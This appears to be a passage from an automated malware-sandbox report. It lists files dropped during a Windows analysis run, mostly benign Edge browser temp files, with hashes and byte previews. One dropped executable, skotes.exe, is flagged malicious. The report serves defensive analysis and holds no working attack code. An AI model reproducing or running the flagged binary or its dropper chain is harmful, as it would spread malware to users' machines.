SSDEEP:	3072:AQ++ZdS5+fnwcxO+XwquyeNnmraugZ/1DOoncWD/5q:AQ++/PZmlyeNnh/1SmRq
MD5:	3F6F93C3DCCD4A91C4EB25C7F6FEB1C1
SHA1:	9B73F46ADFA1F4464929B408407E73D4535C6827
SHA-256:	19F05352CB4C6E231C1C000B6C8B7E9EDCC1E8082CAF46FFF16B239D32AA7C9E
SHA-512:	D488FA67E3A29D0147E9EAF2EABC74D9A255F8470CF79A4AEA60E3B3B5E48A3FCBC4FC3E9CE58DFF8D7D0CAA8AE749295F221E1FE1BA5D20DEB2D97544A12BA4
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........^...1"...w.g..t..2J.G1.)X4..=&.?[j,Lz..j.u.e[I.qBa/X...P.h..L.....2%3_o.......H.)'.=.e...?.......j..3UH.\|.X.M..u..s[...?$....F%....I....)..,-./.e5).f..O.q.^........9..(.._.ph2..^.YBPXf_8....h[.v...S.1`.#..5.SF.:f-.#.65.i..b.]9...y2.'....k[........q.a.....E..i.t,..7C..7!...`l.-.......T.vH...~.....'..aH..C.oJOE..d..2..$J......I..;.(9l.(..+.N.6.@...].a.n.S.6..=.b.W.\....o...#.~J.W.1..E...2H....S.g0....../.H...y.O8...kE.,..m!..F.D.p......H..s.W ...#.L........Ij.........-..n..\..vD.d.V.....!......[0Y0....H.=.....H.=....B..............r...2..+Y.I...k..bR.j5Sl..8.......H"i.-l..`.Q.{...F0D. ?Eq.M...[6^...+.].G..Y]...7..o.. U...v....P.J...@.E!...B.d..p..i".%............oo.<....~=..!t.+...`....h..LK....0....h...,.R%.....u...._..V_.q:_._..5}.uS\.....x?...~]..C-....S=L...._c.P.B....-M...62.i*.Q.....9.....+S=...../6:...W..ql/g..&j.y..{.."....\|..F....\|....V....w.%t.y..?..&..a..<.n....S+\|..=.ra.....

C:\Users\user\AppData\Local\Temp\57ca85da-e750-48ab-b167-9a1bc567110e.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	PNG image data, 50 x 50, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	1521665
Entropy (8bit):	7.991310448259973
Encrypted:	true
SSDEEP:	24576:sp3ILQY3go5JVFy9+jRpdcbNoTMw9D5VRFJvfIiq8V8X3dr4wIpGErHUtHSt0LIY:QxYXfVFyORPINoTMw9D5Vvxf/qndroG5
MD5:	7B414AB9AD7B4457462509BF0C6D422C
SHA1:	976D5B68470EC52D6BB5BA8B846A02EFEDFA2C10
SHA-256:	12A4318408554F3DE06F2A09CA6B9E3B2A84234224AE7CB96FF39CF6BA7BDA7A
SHA-512:	E42C11ECE792E74565A5157BC35D18485B6A953EB53C81E8D322CB3A18DAE1823D5D10A304E03E6AE73F7949B6C0F129B78DA6194BB6886608F6BC312E7E95D0
Malicious:	false
Preview:	.PNG........IHDR...2...2......?......gAMA......a.... cHRM..z&..............u0...`..:....p..Q<....eXIfMM..............................J...........R.(...........i.........Z.......H.......H.............................2...........2...........pHYs................YiTXtXML:com.adobe.xmp.....<x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="XMP Core 6.0.0">. <rdf:RDF xmlns:rdf="http://www.w3.org/1999/02/22-rdf-syntax-ns#">. <rdf:Description rdf:about="". xmlns:tiff="http://ns.adobe.com/tiff/1.0/">. <tiff:Orientation>1</tiff:Orientation>. </rdf:Description>. </rdf:RDF>.</x:xmpmeta>..^......IDATh..Z.t\.y.f.fF.b$.....2.%.0`...qR..&.J..4...a+1.p....z ...J....p @h....W..E.b-3...w.<i$.b..........+.S.Ip....\n...7..#........m.......s....3~..D.nn.,.y.Q..@eA5f.7`F.L.e.#3#.nX..D.n...n.U.e.g.\H...>IW.s.s..!.D.r[.K.....-k.r..x...@.(..<O6<n.D..r.TmD.$c.'z..A....../..?@]Y.....2...d....J...+.t=.l.}.!.RH.I..H`..xo..X..)...e.. c..n#..d...p..Bz.....(.$....4E:.L.

C:\Users\user\AppData\Local\Temp\858f7dac-afe9-4ca5-a29b-354dfe90fb71.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Download File

Process:	C:\Users\user\DocumentsCFIECBFIDG.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	1966080
Entropy (8bit):	7.950980569505603
Encrypted:	false
SSDEEP:	49152:1X+Zn8fcN9XJSwwkjd7FgX5I0F7e/b6G9cG:1uZ8fcfXOkjZFgN0QG
MD5:	B1734D770AB1E0F7B6DF002639FF531C
SHA1:	D442F4E30AFED1447F761A2584EFDD1B0B8FEFB5
SHA-256:	65FA749BBB474E7E55A002CC9D2954FBF8720746F34D2967B99D0E78BD1AEB48
SHA-512:	FD12BDB3AA07AF978736FBD0559D6AAF16E18A01E5BBB7512FE93020CAEC116E1D8B3CB0C411587D6DAD1D88E49DF20C0C94923329A7F164297AC536A2E3410D
Malicious:	true
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........-I..C...C...C...@...C...F.B.C.6.G...C.6.@...C.6.F...C...G...C...B...C...B.5.C.x.J...C.x.....C.x.A...C.Rich..C.........................PE..L....V.f..............................M...........@...........................M...........@.................................W...k.......D...................H.M...............................M..................................................... . ............................@....rsrc...D...........................@....idata ............................@... ..+.........................@...jexkdxjd......2.....................@...jghdqcql......M.....................@....taggant.0....M.."..................@...................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\b7a0526e-ed4e-4f48-9213-f27730e04756.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	11185
Entropy (8bit):	7.951995436832936
Encrypted:	false
SSDEEP:	192:YEKh1jNlwQbamjq6Bcykrs3kAVg55GzVQM5F+XwsxNv7/lsoltBq0WG4ZeJTmrRb:fKT/BAzA05Gn5F+XV7NNltrWG4kJTm1b
MD5:	78E47DDA17341BED7BE45DCCFD89AC87
SHA1:	1AFDE30E46997452D11E4A2ADBBF35CCE7A1404F
SHA-256:	67D161098BE68CD24FEBC0C7B48F515F199DDA72F20AE3BBB97FCF2542BB0550
SHA-512:	9574A66D3756540479DC955C4057144283E09CAE11CE11EBCE801053BB48E536E67DC823B91895A9E3EE8D3CB27C065D5E9030C39A26CBF3F201348385B418A5
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........N.......E#......9e.u.q...VYY..@.+.C..k.O..bK.`..6.G..%.....3Z...e _.6....F..1p..K.Z......./ .3...OT..`..0...Y...FT..43.th.y...}....p.L...2S.&i.`..o...f.oH.....N..:..ijT.3.F{.0.,.f?'f.CQt;b_"Pc.. ..~S.I.c.8Z.;.....{G.a......k...>.`.o..%.$>;.....g.............jg?.R..@.:..........&..{...x@.Py..;kT....%F".S..w...N....9...A..@X.t!i.@..1;......1E..X.....[.~$....J......;=T.;)k..Y...$......S......M.P..P..>..=..u.....2p...w.9..1qw.a\A..Vj .C.....A..Cf1.r6.A...L. _m...[..l.Wr_../.. .B..9!.!+..ZG.K.......0.."0....H.............0.........^SUd%Q.L].......Cl2o...\[.....'*...;R=....N.C5....d. .....J.C>u.kr..Y..syJC.XS.q..E.n?....(G.5..)2.G..!.M.SS.{..U....!.EE..M[.#qs.A.1...g)nQ.c..G....Bd..7... .O.BI..KXQ..4.d.K.0......g.....-p....Z.E{...M&.~n.TE7..{0....5.#.C+3.y)pd9.e.........@..3.9..B.....I....2nX........2.?.~..S....]G.N.....Lr.O.Ve....9..D1.G..W)...P.?=.#..7.R.lz..a.wX.e..h.h.~....v..RP.@X....d.G

C:\Users\user\AppData\Local\Temp\c95e274b-81eb-488b-97da-515169c57810.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 41924
Category:	dropped
Size (bytes):	76314
Entropy (8bit):	7.996159328201069
Encrypted:	true
SSDEEP:	1536:fFZ2cHkObrS5Vvm808scZeEzFrSpzBUl4MZIGM/iysAGz88:fbb1UdS8scZNzFrMa4M+lKqeZ
MD5:	703D592C85D2790D89047C1614A54B4F
SHA1:	0C08F096AD544A63ACE8AA1AA738CC0B374F2A23
SHA-256:	A01513000969824FA1761DCDD77F5EE9B6FD958B4E9596522CEBC47BB69DF194
SHA-512:	D0C0F0B0A060D3DD52942556615B93971292E1F0C10555681CB6E4857E605EB2CFBACBADD263FB954D4062A63BBCCCB4B514428FDB95F6C0C94CC221B28B1ED5
Malicious:	false
Preview:	...........}io.8..w... @..S..=.X.v.^$..e..0..r.ek.,.+..x..._..$."..:.....]E>7..x..z...?..7t.s.....!/.."..}../....u...^..\|{...B...]....q....Znh....;B.u....r.z..._.w~p.}<......B.....}k.........a....ur......:.E.~..f7!.....c....V.Z.."..._Q..m....?..q.......{;.V.g.".i..<.r=.9.>...}^.Ykw....\,. .. .<YkL........C...........m.'....0O....g.?.8C............x.........=YO.......`.<....o..=..he..AaHy@g....z.)C..G....[.@.........x.......O...c..H..5..}..5$?.:....7g.....M~....4....u..P...c...S..w.(.2N['......&..v...."p.#..Z.F.<'._........&~CA......Z....p......>.o......m.(....a_%F.}r\|\|z.m...1..8....p.-..4'.O....S0..f<.n...KP<.fd.....-w[B..%....Z!..H...C..CB+J)Ef.t[;.1.?.Q.j{.....*.y...>Y.......Me..Vx!.._...(>.......>.j.%.(..%]...E...~.p......tp.P.3........W>V&.J.s.]..../~.^.....u.X.1.J.6..8.^...Q.a8".z}....\|.V.M".+..y.-...r..b..'k..9..~.@g3.:..n....M....s.T.#\|.Vd.../..K<...^...p......X.5..6..F..".tO...........o}......}...D..`o....<..(....?..y.JQ.....F01a

C:\Users\user\AppData\Local\Temp\chrome_PuffinComponentUnpacker_BeginUnzipping4060_1506095124\manifest.fingerprint

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	66
Entropy (8bit):	3.8129223411790063
Encrypted:	false
SSDEEP:	3:Sc2hQ7NTMWWxVQQ+kkRkjVVp6N:Sc22JCQfkYe6N
MD5:	3FB5233616491DF0EC229BA9F42EFDB8
SHA1:	18A8116E2DF9805ACCD7901D2321C3FA92DA1AF4
SHA-256:	946F3A9E019B0D80F5671DE782F295132341F663F74AEBAD7628F22E528D6D52
SHA-512:	E9B17AC626BF6508DB9A686825411E90D316A0F1DACBF63DBEC5BAAAF6B96AF4DBC9A7332975B6D5C16C43757D79FDDCA6B888EA97BC07A8DFFB1B3A06366B4D
Malicious:	false
Preview:	1.95FD9D48E4FC245A3F3A99A3A16ECD1355050BA3F4AFC555F19A97C7F9B49677

C:\Users\user\AppData\Local\Temp\chrome_PuffinComponentUnpacker_BeginUnzipping4060_1506095124\manifest.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	43
Entropy (8bit):	4.2222080684040195
Encrypted:	false
SSDEEP:	3:YTyLS1DLhpFsBXsf+n:YWLS1xABX++
MD5:	AF3A9104CA46F35BB5F6123D89C25966
SHA1:	1FFB1B0AA9F44BDBC57BDF4B98D26D3BE0207EE8
SHA-256:	81BD82AC27612A58BE30A72DD8956B13F883E32FFB54A58076BD6A42B8AFAEEA
SHA-512:	6A7A543FA2D1EAD3574B4897D2FC714BB218C60A04A70A7E92ECFD2EA59D67028F91B6A2094313F606560087336C619093F1D38D66A3C63A1D1D235CA03D36D1
Malicious:	false
Preview:	{"version": "0.0.1.7", "origin-trials": {}}

C:\Users\user\AppData\Local\Temp\cv_debug.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1658
Entropy (8bit):	5.417602176638443
Encrypted:	false
SSDEEP:	48:Y4MfJVe5wMd5wMe07cIF5Io0MY5kU2A0OpJ5xnL0MotJ5VovUx0AH5zz0A+5M:JIVuwEw5MUFZLBQLtNYM
MD5:	499B327C2BCA35F01324CAA843EC6C86
SHA1:	8F8EA7D02E42BB6F30D88503C725DD5F4D4FE993
SHA-256:	F0F8DC85CE8EDC8D2D1054E011DE15F7C4F13AD9471415B5D520AD41694DBF04
SHA-512:	182F835B38F8DB462F830953FAA3A3353F12ED5A739FC8C81CA2243DEBABCF34F5D09EF338AA251C2A116DD0788F855D8D96BD64B4C4F7EDDC0BEFC0D72211C9
Malicious:	false
Preview:	{"logTime": "1005/061810", "correlationVector":"0kV+/vRB8ay0a3Cue7mk6o","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/061810", "correlationVector":"AFo3IfjRT+3l4ojiXpMdNH","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/061810", "correlationVector":"838E3BF9A44F456CB4AD62AC737EDD15","action":"FETCH_UX_CONFIG", "result":""}.{"logTime": "1005/063233", "correlationVector":"2N8fwTcZh6EtTfQ8o4+6aX","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/063233", "correlationVector":"5ADEBA42608E4CC9A1FACA719F284CF9","action":"FETCH_UX_CONFIG", "result":""}.{"logTime": "1005/063346", "correlationVector":"xp/hBMCdVPtUIxZHIviv/x","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/063347", "correlationVector":"BF0B9E58C0CC45ED9AB5D0371131E69A","action":"FETCH_UX_CONFIG", "result":""}.{"logTime": "1005/064305", "correlationVector":"ONVjsWDap1LyjIRdxsqPGs","action":"EXTENSION_UPDATER", "result":""}.{"logTime": "1005/064305", "correlationVector":"82E52491

C:\Users\user\AppData\Local\Temp\e819268a-4e8a-45de-bc94-513210fe42f9.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:L:L
MD5:	5058F1AF8388633F609CADB75A75DC9D
SHA1:	3A52CE780950D4D969792A2559CD519D7EE8C727
SHA-256:	CDB4EE2AEA69CC6A83331BBE96DC2CAA9A299D21329EFB0336FC02A82E1839A8
SHA-512:	0B61241D7C17BCBB1BAEE7094D14B7C451EFECC7FFCBD92598A0F13D313CC9EBC2A07E61F007BAF58FBF94FF9A8695BDD5CAE7CE03BBF1E94E93613A00F25F21
Malicious:	false
Preview:	.

C:\Users\user\AppData\Local\Temp\f1549b8c-c4bc-4692-a487-93a56f8e2311.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JPEG image data, Exif standard: [TIFF image data, little-endian, direntries=0], baseline, precision 8, 1366x720, components 3
Category:	dropped
Size (bytes):	206855
Entropy (8bit):	7.983996634657522
Encrypted:	false
SSDEEP:	3072:5WcDW3D2an0GMJGqJCj+1ZxdmdopHjHTFYPQyairiVoo4XSWrPoiXvJddppWmEI5:l81Lel7E6lEMVo/S01fDpWmEgD
MD5:	788DF0376CE061534448AA17288FEA95
SHA1:	C3B9285574587B3D1950EE4A8D64145E93842AEB
SHA-256:	B7FB1D3C27E04785757E013EC1AC4B1551D862ACD86F6888217AB82E642882A5
SHA-512:	3AA9C1AA00060753422650BBFE58EEEA308DA018605A6C5287788C3E2909BE876367F83B541E1D05FE33F284741250706339010571D2E2D153A5C5A107D35001
Malicious:	false
Preview:	......Exif..II.................Ducky.......2......Adobe.d...........................................................#"""#''''''''''..................................................!! !!''''''''''........V.."....................................................................................!1..AQ..aq."2....R..T....Br.#S.U..b..3Cs...t6.c.$D.5uV...4d.E&....%F......................!1..AQaq....."2......BRbr3CS....#..4.............?......1f.n..T......TP....E...........P.....@.........E..@......E.P........@........E.....P.P..A@@.E..@.P.P..AP.P..AP..@....T..AP.E..P.Z .. ....."... .....7.H...w.....t.....T....M.."... P..n.n..t5..B.P..(......................................( .................... .".... .".......(.. ."....... ....o......E.6... ....."........."J......Ah......@.@@....:@{6..wCp..3...((.(.........................@..(...."............................ ........T.......@.@@........AP.P..@.E@....E@.d.E@.@@..@.P.T..@..@..P.D...@M........EO..."...=.wCp.....R......P.@......

C:\Users\user\AppData\Local\Temp\scoped_dir4060_469239382\CRX_INSTALL\_metadata\verified_contents.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1753
Entropy (8bit):	5.8889033066924155
Encrypted:	false
SSDEEP:	48:Pxpr7Xka2NXDpfsBJODI19Kg1JqcJW9O//JE3ZBDcpu/x:L3XgNSz9/4kIO3u3Xgpq
MD5:	738E757B92939B24CDBBD0EFC2601315
SHA1:	77058CBAFA625AAFBEA867052136C11AD3332143
SHA-256:	D23B2BA94BA22BBB681E6362AE5870ACD8A3280FA9E7241B86A9E12982968947
SHA-512:	DCA3E12DD5A9F1802DB6D11B009FCE2B787E79B9F730094367C9F26D1D87AF1EA072FF5B10888648FB1231DD83475CF45594BB0C9915B655EE363A3127A5FFC2
Malicious:	false
Preview:	[.. {.. "description": "treehash per file",.. "signed_content": {.. "payload": "eyJpdGVtX2lkIjoiam1qZmxnanBjcGVwZWFmbW1nZHBma29na2doY3BpaGEiLCJpdGVtX3ZlcnNpb24iOiIxLjIuMSIsInByb3RvY29sX3ZlcnNpb24iOjEsImNvbnRlbnRfaGFzaGVzIjpbeyJmb3JtYXQiOiJ0cmVlaGFzaCIsImRpZ2VzdCI6InNoYTI1NiIsImJsb2NrX3NpemUiOjQwOTYsImhhc2hfYmxvY2tfc2l6ZSI6NDA5NiwiZmlsZXMiOlt7InBhdGgiOiJjb250ZW50LmpzIiwicm9vdF9oYXNoIjoiQS13R1JtV0VpM1lybmxQNktneUdrVWJ5Q0FoTG9JZnRRZGtHUnBEcnp1QSJ9LHsicGF0aCI6ImNvbnRlbnRfbmV3LmpzIiwicm9vdF9oYXNoIjoiVU00WVRBMHc5NFlqSHVzVVJaVTFlU2FBSjFXVENKcHhHQUtXMGxhcDIzUSJ9LHsicGF0aCI6Im1hbmlmZXN0Lmpzb24iLCJyb290X2hhc2giOiJKNXYwVTkwRmN0ejBveWJMZmZuNm5TbHFLU0h2bHF2YkdWYW9FeWFOZU1zIn1dfV19",.. "signatures": [.. {.. "header": {.. "kid": "publisher".. },.. "protected": "eyJhbGciOiJSUzI1NiJ9",.. "signature": "UglEEilkOml5P1W0X6wc-_dB87PQB73uMir11923av57zPKujb4IUe_lbGpn7cRZsy6x-8i9eEKxAW7L2TSmYqrcp4XtiON6ppcf27FWACXOUJDax9wlMr-EOtyZhykCnB9vR

C:\Users\user\AppData\Local\Temp\scoped_dir4060_469239382\CRX_INSTALL\content.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (8031), with no line terminators
Category:	dropped
Size (bytes):	9815
Entropy (8bit):	6.1716321262973315
Encrypted:	false
SSDEEP:	192:+ThBV4L3npstQp6VRtROQGZ0UyVg4jq4HWeGBnUi65Ep4HdlyKyjFN3zEScQZBMX:+ThBVq3npozftROQIyVfjRZGB365Ey97
MD5:	3D20584F7F6C8EAC79E17CCA4207FB79
SHA1:	3C16DCC27AE52431C8CDD92FBAAB0341524D3092
SHA-256:	0D40A5153CB66B5BDE64906CA3AE750494098F68AD0B4D091256939EEA243643
SHA-512:	315D1B4CC2E70C72D7EB7D51E0F304F6E64AC13AE301FD2E46D585243A6C936B2AD35A0964745D291AE9B317C316A29760B9B9782C88CC6A68599DB531F87D59
Malicious:	false
Preview:	(()=>{"use strict";var e={1:(e,o)=>{Object.defineProperty(o,"__esModule",{value:!0}),o.newCwsPromotionalButtonCta=o.chromeToEdgeCwsButtonCtaMapping=void 0,o.chromeToEdgeCwsButtonCtaMapping={"...... ... Chrome":"...... ....","........ .. Chrome":".....",........:"..........",".......... .. Chrome":"..........","Chrome . .....":"...","Chrome .... ....":"....","Afegeix a Chrome":"Obt.n","Suprimeix de Chrome":"Suprimeix","P.idat do Chromu":"Z.skat","Odstranit z Chromu":"Odebrat","F.j til Chrome":"F.","Fjern fra Chrome":"Fjerne",Hinzuf.gen:"Abrufen","Aus Chrome entfernen":"Entfernen","Add to Chrome":"Get","Remove from Chrome":"Remove","A.adir a Chrome":"Obtener",Desinstalar:"Quitar","Agregar a Chrome":"Obtener","Eliminar de Chrome":"Quitar","Lisa Chrome'i":"Hangi","Chrome'ist eemaldamine":"Eemalda",.......H:"........","......... ... .. Chr

C:\Users\user\AppData\Local\Temp\scoped_dir4060_469239382\CRX_INSTALL\content_new.js

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Unicode text, UTF-8 text, with very long lines (8604), with no line terminators
Category:	dropped
Size (bytes):	10388
Entropy (8bit):	6.174387413738973
Encrypted:	false
SSDEEP:	192:+ThBV4L3npstQp6VRtROQGZ0UyVg4jq4HWeGBnUi65Ep4HdlyKyjFN3EbmE1F4fn:+ThBVq3npozftROQIyVfjRZGB365Ey9+
MD5:	3DE1E7D989C232FC1B58F4E32DE15D64
SHA1:	42B152EA7E7F31A964914F344543B8BF14B5F558
SHA-256:	D4AA4602A1590A4B8A1BCE8B8D670264C9FB532ADC97A72BC10C43343650385A
SHA-512:	177E5BDF3A1149B0229B6297BAF7B122602F7BD753F96AA41CCF2D15B2BCF6AF368A39BB20336CCCE121645EC097F6BEDB94666C74ACB6174EB728FBFC43BC2A
Malicious:	false
Preview:	(()=>{"use strict";var e={1:(e,o)=>{Object.defineProperty(o,"__esModule",{value:!0}),o.newCwsPromotionalButtonCta=o.chromeToEdgeCwsButtonCtaMapping=void 0,o.chromeToEdgeCwsButtonCtaMapping={"...... ... Chrome":"...... ....","........ .. Chrome":".....",........:"..........",".......... .. Chrome":"..........","Chrome . .....":"...","Chrome .... ....":"....","Afegeix a Chrome":"Obt.n","Suprimeix de Chrome":"Suprimeix","P.idat do Chromu":"Z.skat","Odstranit z Chromu":"Odebrat","F.j til Chrome":"F.","Fjern fra Chrome":"Fjerne",Hinzuf.gen:"Abrufen","Aus Chrome entfernen":"Entfernen","Add to Chrome":"Get","Remove from Chrome":"Remove","A.adir a Chrome":"Obtener",Desinstalar:"Quitar","Agregar a Chrome":"Obtener","Eliminar de Chrome":"Quitar","Lisa Chrome'i":"Hangi","Chrome'ist eemaldamine":"Eemalda",.......H:"........","......... ... .. Chr

C:\Users\user\AppData\Local\Temp\scoped_dir4060_469239382\CRX_INSTALL\manifest.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	962
Entropy (8bit):	5.698567446030411
Encrypted:	false
SSDEEP:	24:1Hg9+D3DRnbuF2+sUrzUu+Y9VwE+Fg41T1O:NBqY+6E+F7JO
MD5:	E805E9E69FD6ECDCA65136957B1FB3BE
SHA1:	2356F60884130C86A45D4B232A26062C7830E622
SHA-256:	5694C91F7D165C6F25DAF0825C18B373B0A81EA122C89DA60438CD487455FD6A
SHA-512:	049662EF470D2B9E030A06006894041AE6F787449E4AB1FBF4959ADCB88C6BB87A957490212697815BB3627763C01B7B243CF4E3C4620173A95795884D998A75
Malicious:	false
Preview:	{.. "content_scripts": [ {.. "js": [ "content.js" ],.. "matches": [ "https://chrome.google.com/webstore/" ].. }, {.. "js": [ "content_new.js" ],.. "matches": [ "https://chromewebstore.google.com/" ].. } ],.. "description": "Edge relevant text changes on select websites to improve user experience and precisely surfaces the action they want to take.",.. "key": "MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAu06p2Mjoy6yJDUUjCe8Hnqvtmjll73XqcbylxFZZWe+MCEAEK+1D0Nxrp0+IuWJL02CU3jbuR5KrJYoezA36M1oSGY5lIF/9NhXWEx5GrosxcBjxqEsdWv/eDoOOEbIvIO0ziMv7T1SUnmAA07wwq8DXWYuwlkZU/PA0Mxx0aNZ5+QyMfYqRmMpwxkwPG8gyU7kmacxgCY1v7PmmZo1vSIEOBYrxl064w5Q6s/dpalSJM9qeRnvRMLsszGY/J2bjQ1F0O2JfIlBjCOUg/89+U8ZJ1mObOFrKO4um8QnenXtH0WGmsvb5qBNrvbWNPuFgr2+w5JYlpSQ+O8zUCb8QZwIDAQAB",.. "manifest_version": 3,.. "name": "Edge relevant text changes",.. "update_url": "https://edge.microsoft.com/extensionwebstorebase/v1/crx",.. "version": "1.2.1"..}..

C:\Users\user\AppData\Local\Temp\scoped_dir4060_469239382\b7a0526e-ed4e-4f48-9213-f27730e04756.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	11185
Entropy (8bit):	7.951995436832936
Encrypted:	false
SSDEEP:	192:YEKh1jNlwQbamjq6Bcykrs3kAVg55GzVQM5F+XwsxNv7/lsoltBq0WG4ZeJTmrRb:fKT/BAzA05Gn5F+XV7NNltrWG4kJTm1b
MD5:	78E47DDA17341BED7BE45DCCFD89AC87
SHA1:	1AFDE30E46997452D11E4A2ADBBF35CCE7A1404F
SHA-256:	67D161098BE68CD24FEBC0C7B48F515F199DDA72F20AE3BBB97FCF2542BB0550
SHA-512:	9574A66D3756540479DC955C4057144283E09CAE11CE11EBCE801053BB48E536E67DC823B91895A9E3EE8D3CB27C065D5E9030C39A26CBF3F201348385B418A5
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........N.......E#......9e.u.q...VYY..@.+.C..k.O..bK.`..6.G..%.....3Z...e _.6....F..1p..K.Z......./ .3...OT..`..0...Y...FT..43.th.y...}....p.L...2S.&i.`..o...f.oH.....N..:..ijT.3.F{.0.,.f?'f.CQt;b_"Pc.. ..~S.I.c.8Z.;.....{G.a......k...>.`.o..%.$>;.....g.............jg?.R..@.:..........&..{...x@.Py..;kT....%F".S..w...N....9...A..@X.t!i.@..1;......1E..X.....[.~$....J......;=T.;)k..Y...$......S......M.P..P..>..=..u.....2p...w.9..1qw.a\A..Vj .C.....A..Cf1.r6.A...L. _m...[..l.Wr_../.. .B..9!.!+..ZG.K.......0.."0....H.............0.........^SUd%Q.L].......Cl2o...\[.....'*...;R=....N.C5....d. .....J.C>u.kr..Y..syJC.XS.q..E.n?....(G.5..)2.G..!.M.SS.{..U....!.EE..M[.#qs.A.1...g)nQ.c..G....Bd..7... .O.BI..KXQ..4.d.K.0......g.....-p....Z.E{...M&.~n.TE7..{0....5.#.C+3.y)pd9.e.........@..3.9..B.....I....2nX........2.?.~..S....]G.N.....Lr.O.Ve....9..D1.G..W)...P.?=.#..7.R.lz..a.wX.e..h.h.~....v..RP.@X....d.G

C:\Users\user\AppData\Local\Temp\scoped_dir4060_884917300\37785ad5-0905-4e27-86c7-5044122ba9db.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	138356
Entropy (8bit):	7.809609231921042
Encrypted:	false
SSDEEP:	3072:AQ++ZdS5+fnwcxO+XwquyeNnmraugZ/1DOoncWD/5q:AQ++/PZmlyeNnh/1SmRq
MD5:	3F6F93C3DCCD4A91C4EB25C7F6FEB1C1
SHA1:	9B73F46ADFA1F4464929B408407E73D4535C6827
SHA-256:	19F05352CB4C6E231C1C000B6C8B7E9EDCC1E8082CAF46FFF16B239D32AA7C9E
SHA-512:	D488FA67E3A29D0147E9EAF2EABC74D9A255F8470CF79A4AEA60E3B3B5E48A3FCBC4FC3E9CE58DFF8D7D0CAA8AE749295F221E1FE1BA5D20DEB2D97544A12BA4
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........^...1"...w.g..t..2J.G1.)X4..=&.?[j,Lz..j.u.e[I.qBa/X...P.h..L.....2%3_o.......H.)'.=.e...?.......j..3UH.\|.X.M..u..s[...?$....F%....I....)..,-./.e5).f..O.q.^........9..(.._.ph2..^.YBPXf_8....h[.v...S.1`.#..5.SF.:f-.#.65.i..b.]9...y2.'....k[........q.a.....E..i.t,..7C..7!...`l.-.......T.vH...~.....'..aH..C.oJOE..d..2..$J......I..;.(9l.(..+.N.6.@...].a.n.S.6..=.b.W.\....o...#.~J.W.1..E...2H....S.g0....../.H...y.O8...kE.,..m!..F.D.p......H..s.W ...#.L........Ij.........-..n..\..vD.d.V.....!......[0Y0....H.=.....H.=....B..............r...2..+Y.I...k..bR.j5Sl..8.......H"i.-l..`.Q.{...F0D. ?Eq.M...[6^...+.].G..Y]...7..o.. U...v....P.J...@.E!...B.d..p..i".%............oo.<....~=..!t.+...`....h..LK....0....h...,.R%.....u...._..V_.q:_._..5}.uS\.....x?...~]..C-....S=L...._c.P.B....-M...62.i*.Q.....9.....+S=...../6:...W..ql/g..&j.y..{.."....\|..F....\|....V....w.%t.y..?..&..a..<.n....S+\|..=.ra.....

C:\Users\user\AppData\Local\Temp\scoped_dir4060_884917300\CRX_INSTALL\128.png

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	PNG image data, 128 x 128, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	4982
